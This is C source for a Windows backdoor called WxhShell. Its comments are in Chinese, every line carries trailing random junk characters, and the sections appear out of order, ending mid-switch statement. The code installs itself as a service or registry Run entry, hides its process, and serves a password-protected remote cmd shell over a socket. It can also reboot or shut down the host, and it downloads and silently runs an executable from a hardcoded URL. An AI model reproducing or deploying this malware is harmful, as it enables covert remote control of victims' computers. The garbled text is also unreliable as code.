    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P,J+'.@  
    else { Y_zMj`HE  
    closesocket(wsh); xovsh\s  
    ExitThread(0); MxgJ+  
    } zq(4@S-TU  
    break; *^oL$_Y  
    } Z% DJ{!Hnh  
  // 获取shell @{>0v"@  
  case 's': { pC~ M5(F_  
    CmdShell(wsh); 5>6:#.f%!e  
    closesocket(wsh); : X}n[K  
    ExitThread(0); 9Iu"DOxX%  
    break; .H@b zm  
  } Cs4ks`Z18  
  // 退出 ~^TH5n  
  case 'x': { R53^3"q~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Xp+lpVcJ  
    CloseIt(wsh); r;^%D(  
    break; j7BLMTF3v  
    } VUi> ]v/e  
  // 离开 \,xa_zeO  
  case 'q': { H+{@V B  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); hd*GDjmRQ/  
    closesocket(wsh); B:Y F|k}T  
    WSACleanup(); W{%X1::q$  
    exit(1); Vk> &  
    break; pZcY[a  
        } BCfmnE4%  
  } ,j6 R/sg  
  } GT7&>}FJ)  
&\=Tm~  
  // 提示信息 _\.4ofK(  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ht:\ z;cu  
} %M3L<2  
  } '}^qz#w   
~&aULY?)]  
  return; [vY#9W"!  
} +MZI\>  
WG&! VK  
// shell模块句柄 9W0*|!tQ,+  
int CmdShell(SOCKET sock) dS8ydG2  
{ g< xE}[gF  
STARTUPINFO si; {O:{F?  
ZeroMemory(&si,sizeof(si)); aGd wuD  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ur.krsU  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 78\j  
PROCESS_INFORMATION ProcessInfo; +[R^ ?~VK  
char cmdline[]="cmd"; O{EPq' x  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); h'HI92; [  
  return 0; DcNp-X40I  
} kY?tUpM!TB  
.{t*v6(TP  
// 自身启动模式 :>iN#)S  
int StartFromService(void) Z3yy(D>*  
{ UEx13!iFo  
typedef struct 1>uAVPa  
{ -g."{|  
  DWORD ExitStatus; TQu.jC  
  DWORD PebBaseAddress; HC} vO0X4  
  DWORD AffinityMask; =;4K5l{c  
  DWORD BasePriority; 1c{m rsB  
  ULONG UniqueProcessId; }N} Js*  
  ULONG InheritedFromUniqueProcessId; 2-DG6\QX|  
}   PROCESS_BASIC_INFORMATION; U)xebU.!S  
}h sNsQ   
PROCNTQSIP NtQueryInformationProcess; DZ @B9<Zz{  
dk^jv +  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ] s^7c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; v6|j.;  
)Q62I\  
  HANDLE             hProcess; BT&R:_:  
  PROCESS_BASIC_INFORMATION pbi; gxhdxSm=2  
-uxU[E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); u]Q}jqiq"  
  if(NULL == hInst ) return 0; +;\w'dBi,  
}K={HW1>  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 'pT13RFD  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ? )h8uf4  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yn[>Y)  
c9G%;U)  
  if (!NtQueryInformationProcess) return 0; (5@H<c^6  
-b iE  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); O_qwD6s-_  
  if(!hProcess) return 0; t V( WhP  
I eJI-lo  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0 @!huk  
:._Igjj$=  
  CloseHandle(hProcess); I-/>M/66  
4Z>gK(  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Gh/nNwyu<  
if(hProcess==NULL) return 0; #6 vf:94  
%g:'6%26  
HMODULE hMod; Z1jxu;O(  
char procName[255]; f=k#o2  
unsigned long cbNeeded; n?nzm "g  
v$0|\)E)  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "{r8'qn  
4b[bj").A  
  CloseHandle(hProcess); %L^(eTi[  
NTD1QJ  
if(strstr(procName,"services")) return 1; // 以服务启动 zBl L98  
q01 L{~>bz  
  return 0; // 注册表启动 ;py9,Wno  
} @!=Ds'MJC  
&ocuZ -5`  
// 主模块 JRi:MWR<r  
int StartWxhshell(LPSTR lpCmdLine) Pc*lHoVL  
{ S't9F  
  SOCKET wsl; .hu7JM+  
BOOL val=TRUE; 9DJ&J{2W  
  int port=0; zt: !hM/Vt  
  struct sockaddr_in door; ZT@=d$Z&t  
?IYu"UO<)|  
  if(wscfg.ws_autoins) Install(); zzhZ1;\  
E& .^|<n  
port=atoi(lpCmdLine); D h;5hu2"  
}3A~ek#*~  
if(port<=0) port=wscfg.ws_port; y~\ujp_5w  
qF4tjza;k  
  WSADATA data;  {ibu 0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; vRH^en  
'KIT^k0"Ih  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C{}PO u  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QK?V^E  
  door.sin_family = AF_INET; j &,Gv@  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Dc@O Mr  
  door.sin_port = htons(port); d_d&su E  
=TDKU  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }< H>9iJ:  
closesocket(wsl); jQ;/=9  
return 1; -'g> i  
} w") G:K  
)-_^vB  
  if(listen(wsl,2) == INVALID_SOCKET) { ~;3#MAG  
closesocket(wsl); IK\~0L;ozE  
return 1; =X?fA,  
} U!o7Nw@ z  
  Wxhshell(wsl); ;.Bz'Q  
  WSACleanup(); ns%gb!FBJX  
:-}K:ucaj  
return 0; b"A,q  
0t? o6 e  
} o3dqsQE%  
)][U6e  
// 以NT服务方式启动 I4G0 !"T+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LWv<mtuYf  
{ b'\Q/;oz>  
DWORD   status = 0; Q3ty K{JE  
  DWORD   specificError = 0xfffffff; z^U+ oG  
+Q u.86dH  
  serviceStatus.dwServiceType     = SERVICE_WIN32; M i& ;1!bg  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ]B,tCBt  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9 Gd6/2  
  serviceStatus.dwWin32ExitCode     = 0; >lV,K1Z  
  serviceStatus.dwServiceSpecificExitCode = 0; salC4z3  
  serviceStatus.dwCheckPoint       = 0; ySr,HXz  
  serviceStatus.dwWaitHint       = 0; EW*sTI3  
v1 8<~  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); %jzTQ+.%]^  
  if (hServiceStatusHandle==0) return; VIz(@  
$U*eq [  
status = GetLastError(); llP V{  
  if (status!=NO_ERROR) _K9`o^g%PJ  
{ ^AH[]sE_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gLX<> |)*  
    serviceStatus.dwCheckPoint       = 0; 4HGT gS  
    serviceStatus.dwWaitHint       = 0; i8V\x>9  
    serviceStatus.dwWin32ExitCode     = status; IqYJ  
    serviceStatus.dwServiceSpecificExitCode = specificError; _# sy  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); uP'L6p5  
    return; uC;_?Bve  
  } 3<&:av3  
YSeH;<'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; >`0U2K  
  serviceStatus.dwCheckPoint       = 0; \W .CHSD  
  serviceStatus.dwWaitHint       = 0; zuLW'a6F-  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); K khuPBd2  
} rNq* z,  
KkZx6A)$u  
// 处理NT服务事件,比如:启动、停止 M YF ^zheD  
VOID WINAPI NTServiceHandler(DWORD fdwControl) `-uE(qp  
{ ^wolY0p  
switch(fdwControl) S/XU4i:aV  
{ aDdGhB  
case SERVICE_CONTROL_STOP: \Ip)Lm0  
  serviceStatus.dwWin32ExitCode = 0; W_2;j)i  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oRCc8&  
  serviceStatus.dwCheckPoint   = 0; 'nq=xi@RC  
  serviceStatus.dwWaitHint     = 0; 'IX1WS&\"  
  { L*Z.T^h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9m M3Ve*  
  } N1ipK9a  
  return; J _O5^=BP  
case SERVICE_CONTROL_PAUSE: D`JBK?~  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; K5qCPt`'  
  break; M M@,J<  
case SERVICE_CONTROL_CONTINUE: }n==^2  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; wtek5C^  
  break; \Osu1]Jn>  
case SERVICE_CONTROL_INTERROGATE: WiytHuUF  
  break; PT2;%=f  
}; L(TM& ps\-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P~trxp=k  
} rw'+2\  
'(5GR I<  
// 标准应用程序主函数 GM6, LzH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ELCNf   
{ 3%+ ~"4&  
"Au4&Fu  
// 获取操作系统版本 KrpIH6  
OsIsNt=GetOsVer(); *&I>3;~%^}  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Ljd`)+`D  
'0D$C},^|8  
  // 从命令行安装 xG/Q%A  
  if(strpbrk(lpCmdLine,"iI")) Install(); p/<DR |  
]lC%HlID  
  // 下载执行文件 '3b\d:hN  
if(wscfg.ws_downexe) { r"dIB@  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ]W5*R07  
  WinExec(wscfg.ws_filenam,SW_HIDE); 7'IIB1v.\  
} Q~ U\f$N  
j?2~6W/[  
if(!OsIsNt) { ({!!b"B2  
// 如果时win9x,隐藏进程并且设置为注册表启动 ""-wM~^D  
HideProc(); }YDi/b7  
StartWxhshell(lpCmdLine); 5tlR rf  
} 1tNL)x"w  
else % Ln`c.C  
  if(StartFromService()) 6HY): M&?  
  // 以服务方式启动 efQ8jO  
  StartServiceCtrlDispatcher(DispatchTable); @)U.Dbm  
else 5%Qxx\q  
  // 普通方式启动 *2zp>(%  
  StartWxhshell(lpCmdLine); BmX'%5ho  
a#j,0FKv  
return 0; IIR+qJ__|  
} +Y 7M7  
KYpS4&Xh  
)=~&l={T  
XZ%,h  
=========================================== [Fr](&Tx  
/w?e(v<  
KOy{?  
lMY\8eobcB  
9z#8K zXg  
qi,) l*?f  
" FHOw ]"#  
B#V""[Y9  
#include <stdio.h> *cb|9elF^  
#include <string.h> /whaY4__O\  
#include <windows.h> )7 p" -  
#include <winsock2.h> =?OU^ u`C  
#include <winsvc.h> OXQ*Xpc  
#include <urlmon.h> ?Y~t{5NJR  
DhM=q  
#pragma comment (lib, "Ws2_32.lib") Z 8rD9 k$6  
#pragma comment (lib, "urlmon.lib") U?0|2hR~  
H+[?{+"#@l  
#define MAX_USER   100 // 最大客户端连接数 1 (<n^\J(  
#define BUF_SOCK   200 // sock buffer H~j@n!)  
#define KEY_BUFF   255 // 输入 buffer jSem/;  
o+1 (N#?m9  
#define REBOOT     0   // 重启 R:~aX,qR  
#define SHUTDOWN   1   // 关机 8 1Kf X {|  
dtR"5TL<~}  
#define DEF_PORT   5000 // 监听端口 f]NLR>$L}  
8oX1 F(R  
#define REG_LEN     16   // 注册表键长度 ]\M{Abqd{  
#define SVC_LEN     80   // NT服务名长度 x4q}xwH  
v}$Q   
// 从dll定义API ]F y' M  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); o,rF15  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); T~]~'+<Pi  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); %> XsKXj  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pQa51nc  
O\=Z;}<N  
// wxhshell配置信息 F1yn@a "=J  
struct WSCFG { )  ;0  
  int ws_port;         // 监听端口 9kD#'BxC  
  char ws_passstr[REG_LEN]; // 口令 8T3,56 >  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^)dsi  
  char ws_regname[REG_LEN]; // 注册表键名 CPJ<A,V  
  char ws_svcname[REG_LEN]; // 服务名 doanTF4Da  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 |=}+%>y_  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 %L.S~dN6  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Ux_tzd0!  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |Rf j 0+  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lO-DXbgql$  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 xv]z>4@z,  
[7@blU  
}; E/:U,u{  
| #yu  
// default Wxhshell configuration %],BgLhS.  
struct WSCFG wscfg={DEF_PORT, )O[8 D  
    "xuhuanlingzhe", ?IGp?R^j"  
    1, |nQfgl=V  
    "Wxhshell", ~-'2jb*8  
    "Wxhshell", ']nIa7  
            "WxhShell Service", >6C\T@{lJ  
    "Wrsky Windows CmdShell Service", 5=TgOS]R  
    "Please Input Your Password: ", N?@^BZ  
  1, d4b!  r  
  "http://www.wrsky.com/wxhshell.exe", f+:iz'b#U  
  "Wxhshell.exe" $wM..ee  
    }; 85E$m'0O  
vU>^  
// 消息定义模块 0fqcPi  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; XC3)#D#HGh  
char *msg_ws_prompt="\n\r? for help\n\r#>"; o9xc$hX}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; \'y]mB~k  
char *msg_ws_ext="\n\rExit.";  7UBDd1  
char *msg_ws_end="\n\rQuit."; 5Dkb/Iagi  
char *msg_ws_boot="\n\rReboot..."; s@L ;3WdO  
char *msg_ws_poff="\n\rShutdown..."; #*A&jo'E  
char *msg_ws_down="\n\rSave to "; Nn_fhc>  
WDw<kX6p  
char *msg_ws_err="\n\rErr!"; B!&5*f}*  
char *msg_ws_ok="\n\rOK!"; 1| sem(t  
n{QyqI  
char ExeFile[MAX_PATH]; 08ZvRy(Je<  
int nUser = 0; g (&cq  
HANDLE handles[MAX_USER]; H>+/k-n-  
int OsIsNt; t=7Gfv  
vC,FE )'  
SERVICE_STATUS       serviceStatus;  9tpyrGv  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ika*w  
F+*E}QpM  
// 函数声明 6[t<g=  
int Install(void); ~ikp'5  
int Uninstall(void); +`F(wk["m  
int DownloadFile(char *sURL, SOCKET wsh); K\-N'M!Z  
int Boot(int flag);  hlVC+%8  
void HideProc(void); b()8l'x_|K  
int GetOsVer(void); wiI@DJ>E  
int Wxhshell(SOCKET wsl); f,ro1Nke  
void TalkWithClient(void *cs); VESvCei  
int CmdShell(SOCKET sock); EP38Ho=[  
int StartFromService(void); O8Mypv/C  
int StartWxhshell(LPSTR lpCmdLine);  m}yu4  
Qy:yz  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); s4Ja y!A  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); +Ug &  
@JSWqi>  
// 数据结构和表定义 ( %7V  
SERVICE_TABLE_ENTRY DispatchTable[] = ?h`,@~6u  
{ >9w^C1"  
{wscfg.ws_svcname, NTServiceMain}, 0s`6d;  
{NULL, NULL} a @? $#>  
}; F.TIdkvp  
8fQ~UcT$  
// 自我安装 S*Ea" vBA  
int Install(void) 2[Bbdg[O  
{ ,.Ofv):=  
  char svExeFile[MAX_PATH]; E]q>ggeNH  
  HKEY key; xiW}P% bf  
  strcpy(svExeFile,ExeFile); wQ(DX!   
Cx;it/8+  
// 如果是win9x系统,修改注册表设为自启动 z_(l]Ern}  
if(!OsIsNt) { #Shy^58$  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { w (HVC  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 54z`KX 73  
  RegCloseKey(key); Y5 E0n(Z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -(57C*#ap  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g;Fd m5Q  
  RegCloseKey(key); Rc)]A&J  
  return 0; UW":&`i  
    } H'S~GP4D  
  } MO ~T_6  
} ywm"{ U? 8  
else { 7UBW3{d/u5  
5{-Hg[+9  
// 如果是NT以上系统,安装为系统服务 M0m%S:2  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A]"6/Lr9P  
if (schSCManager!=0) *effDNE!  
{ yMW3mx301j  
  SC_HANDLE schService = CreateService _U*R_2aV  
  ( O4-#)#-)S~  
  schSCManager, 86%k2~L  
  wscfg.ws_svcname, q!&:y7O8  
  wscfg.ws_svcdisp, N_D=j 6B  
  SERVICE_ALL_ACCESS, j&DlI_  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , kX V  
  SERVICE_AUTO_START, jYU0zGpj  
  SERVICE_ERROR_NORMAL, Fz8& Jn!  
  svExeFile, WA}'[h   
  NULL, %w_MRC  
  NULL, !T`g\za/  
  NULL, ~a=]w#-KD  
  NULL, AYNz {9  
  NULL p!DdX  
  ); Il/`#b@h  
  if (schService!=0) fCa lR7!  
  { |vi=h2*  
  CloseServiceHandle(schService); v2|zIZ  
  CloseServiceHandle(schSCManager); }!g$k $y  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +2E~=xX  
  strcat(svExeFile,wscfg.ws_svcname); ^p4`o>  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {  V13^SVM  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); :qXREF@h  
  RegCloseKey(key); ,9|7{j|u  
  return 0; v 'L"sgW6I  
    } !h&h;m/c  
  } jhG6,;1zMI  
  CloseServiceHandle(schSCManager); 2aivc,m{r  
} pC 4uar  
} ]mBlXE:Z  
#)D$\0ag  
return 1; BI2'NN\  
} Q-_;.xy#4  
a&)$s;  
// 自我卸载 ]$K58C  
int Uninstall(void) -b%' K}.C  
{ 6#d+BBKIc  
  HKEY key; e,vgD kI;  
<O9WCl  
if(!OsIsNt) { cL %eP.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _uh@fRyh  
  RegDeleteValue(key,wscfg.ws_regname); @zR_[s  
  RegCloseKey(key); w#(E+s~}  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 9MRe?  
  RegDeleteValue(key,wscfg.ws_regname); {KqW<X6Hp  
  RegCloseKey(key); ld~*w  
  return 0; N}bZdE9F  
  } How:_ Hj  
} "=f,4Zbj  
} gO~>*q &  
else { |b Z 58{}  
DKQQZ` PF  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); yOjTiVQ9  
if (schSCManager!=0) =Oh/4TbW[  
{ TGPdi5Eq  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 78z/D|{"  
  if (schService!=0) A|L-;P NP  
  { My9fbT  
  if(DeleteService(schService)!=0) { p'SY 2xq-,  
  CloseServiceHandle(schService); YWhS<}^  
  CloseServiceHandle(schSCManager); 1p>&j%dk  
  return 0; kJXy )  
  } @(st![i+  
  CloseServiceHandle(schService); Q!Dr3x  
  } %gEfG#S  
  CloseServiceHandle(schSCManager); +DT)7 koA  
} ilj9&.isB  
} !]f:dWSLB  
kZ_5R#xK  
return 1; ~o ;*{ Q  
} YF");itH  
`Oi6o[a  
// 从指定url下载文件 n@e|PWu  
int DownloadFile(char *sURL, SOCKET wsh) ]kkH|b$[T  
{ 2L2)``*   
  HRESULT hr; IW|1)8d  
char seps[]= "/"; yw?UA  
char *token; 0.Nik^~  
char *file; p)Q='  
char myURL[MAX_PATH]; oX]c$<w5  
char myFILE[MAX_PATH]; X15e~;&  
u|8V7*)3  
strcpy(myURL,sURL); V,9UOC,Gn  
  token=strtok(myURL,seps); BI)$aR  
  while(token!=NULL) ErMA$UkJ  
  { k3"Y!Uha:  
    file=token; _{gRCR)  
  token=strtok(NULL,seps); v/Ei0}e6~  
  } !U+XIr  
i3y>@$fRL\  
GetCurrentDirectory(MAX_PATH,myFILE); 'v3> "b  
strcat(myFILE, "\\"); _EZrZB  
strcat(myFILE, file); b~;+E#[*  
  send(wsh,myFILE,strlen(myFILE),0); `Axn  
send(wsh,"...",3,0); ab5z&7Re6  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {wf e!f  
  if(hr==S_OK) T*C]:=)  
return 0; W[W}:@KZ  
else w0t||qj^>"  
return 1; 4THGHS^  
PAXdIh[]  
} UG9 Ha  
C@ z^{Z+  
// 系统电源模块 g TP0:  
int Boot(int flag) A[oxG;9xi  
{ ZgI1Byf  
  HANDLE hToken; ZA4vQDW  
  TOKEN_PRIVILEGES tkp; 1~q|%"J  
*e05{C:kS  
  if(OsIsNt) { "(d7:!%  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); -z4pI=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); vvG#O[| O  
    tkp.PrivilegeCount = 1; *] cm{N  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; rfMzHY}%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); MY}B)`yx=  
if(flag==REBOOT) { Ey;uaqt  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 7l3sd5  
  return 0; P\CT|K'P  
} R oWGQney  
else { pTJJ.#$CEF  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h{cJ S9e}  
  return 0; toCT5E_0=  
} * <_8]C0>  
  } VS\~t  
  else { qMe$Qr8  
if(flag==REBOOT) { 9rmOf Jo:  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) It@.U|  
  return 0; ZtfPB  
} mMvt#+O  
else { g k[8'  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) LN?W~^gsR  
  return 0; uN1O(s  
} =7mn= w?  
} W]rK*Dc  
!1}A\S  
return 1; %9A6c(L  
} |^i+Srh  
bEE'50 D  
// win9x进程隐藏模块 (TV ye4Z  
void HideProc(void) X)|b_3Z  
{ V4 PD]5ZW  
Xo>P?^c4?  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); #yv_Eb02  
  if ( hKernel != NULL ) tPHDnh^n]  
  { K Zw"?%H[  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); f6ad@2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); >8nRP%r[5,  
    FreeLibrary(hKernel); d-=/@N!4e  
  } x%JtI'sg  
T0ebW w  
return; (P[:g  
} _s Z9p4]  
<o";?^0Q  
// 获取操作系统版本 ^{GnEqml&  
int GetOsVer(void) --S2lN/:T  
{ V\"x#uB  
  OSVERSIONINFO winfo; Nj_h+=UE!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); fKMbOqU_  
  GetVersionEx(&winfo); kmm1b (  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) LuB-9[^<  
  return 1; eEIa=MB*  
  else $4y;F]  
  return 0; k ckWBL  
} ;5A  
k"V| f&  
// 客户端句柄模块 bBBW7',[a  
int Wxhshell(SOCKET wsl) H\7Qf8s|{  
{ %B$~yx3#  
  SOCKET wsh; A7|!&fi  
  struct sockaddr_in client; SXn1v.6  
  DWORD myID; 7c9-MP)  
 pojQ/  
  while(nUser<MAX_USER) e`fN+  
{ LoQm&3/  
  int nSize=sizeof(client); N246RV1W  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -gl7mO*  
  if(wsh==INVALID_SOCKET) return 1; -aPvls   
`g&<7~\=A  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Tp&03  
if(handles[nUser]==0) C#`VVtei  
  closesocket(wsh); Lf|5miO  
else E-_FxBw  
  nUser++; mYf7?I~  
  } C d)j %  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); E=.4(J7K  
w%&lCu@v  
  return 0; _Kg:jal  
} mr]IxTv  
({g7{tUy^H  
// 关闭 socket Gk0f#;  
void CloseIt(SOCKET wsh) #8G (r9  
{ w:P$ S  
closesocket(wsh); y{ReQn3> y  
nUser--; @sRUl ,M;Z  
ExitThread(0); r7r>1W%4  
} U)%gzXTZ%  
x'OE},>i  
// 客户端请求句柄 s_A<bW566F  
void TalkWithClient(void *cs) /(Se:jH$>  
{ ,rT62w*e  
wiXdb[[#  
  SOCKET wsh=(SOCKET)cs; 8_6\>hW&  
  char pwd[SVC_LEN]; e#MEDjm/)g  
  char cmd[KEY_BUFF]; lL.3$Rp;  
char chr[1]; {k=H5<FV  
int i,j; h=uwOi6}  
D/C)Rrq"a  
  while (nUser < MAX_USER) { hiWfVz{~  
:<l(l\MC  
if(wscfg.ws_passstr) { ]p/f@j?LU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (5y+g?9d;  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); -NW7ncB|  
  //ZeroMemory(pwd,KEY_BUFF); Sdl1k+u  
      i=0; u6{= Z:  
  while(i<SVC_LEN) { PMzPe"3M  
;q&6WO  
  // 设置超时 E Z95)pk  
  fd_set FdRead; j_\nsM7  
  struct timeval TimeOut; qi7(RL_N  
  FD_ZERO(&FdRead); b13XHR)0  
  FD_SET(wsh,&FdRead); &L[7jA'[J  
  TimeOut.tv_sec=8; ?YzOA${  
  TimeOut.tv_usec=0; og<mFbqkq7  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); C 7)w8y  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); X#KC<BXw,  
<<}t&qE%2%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v|:2U8YREf  
  pwd=chr[0]; eHUr!zH:  
  if(chr[0]==0xd || chr[0]==0xa) { \^O#)&5 V  
  pwd=0; ]]~tFdh  
  break; 9Ml^\|  
  } m%Ah]x;  
  i++; AsyJDt'i  
    } B -XM(C j  
Ff xf!zS  
  // 如果是非法用户,关闭 socket X_yAx)Do  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gzxq] Mg  
} jU\vg;nr  
?;Ck]l#5ys  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +cS%b}O`$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -F.A1{l[.  
'|mVY; i[  
while(1) { ))Ws{  
0J-]  
  ZeroMemory(cmd,KEY_BUFF); $I40 hk  
(\^| @  
      // 自动支持客户端 telnet标准   OU&eswW  
  j=0; GRV#f06  
  while(j<KEY_BUFF) { T=6fZ;7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); =\;yxl  
  cmd[j]=chr[0]; Q@B--Omfh  
  if(chr[0]==0xa || chr[0]==0xd) { 9aYDi)  
  cmd[j]=0; ? +{=>{1  
  break; 3n{'}SYyz  
  } kigq(a  
  j++; vK\n4mE[,  
    } CG!/Lbd  
ts BPQ 8Ne  
  // 下载文件 ~ZbEKqni2  
  if(strstr(cmd,"http://")) { F/c7^  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); l AF/O5b  
  if(DownloadFile(cmd,wsh)) LgN\%5f-  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); !vNZ- }  
  else 1T(:bM_t`7  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wez"E2J`  
  } {=]1]IWt  
  else { x|B$n } B  
HF@K$RPK  
    switch(cmd[0]) { 3,qq\gxB  
  ^zjQ(ca@"x  
  // 帮助 4 j9  
  case '?': { uMW5F-~-+  
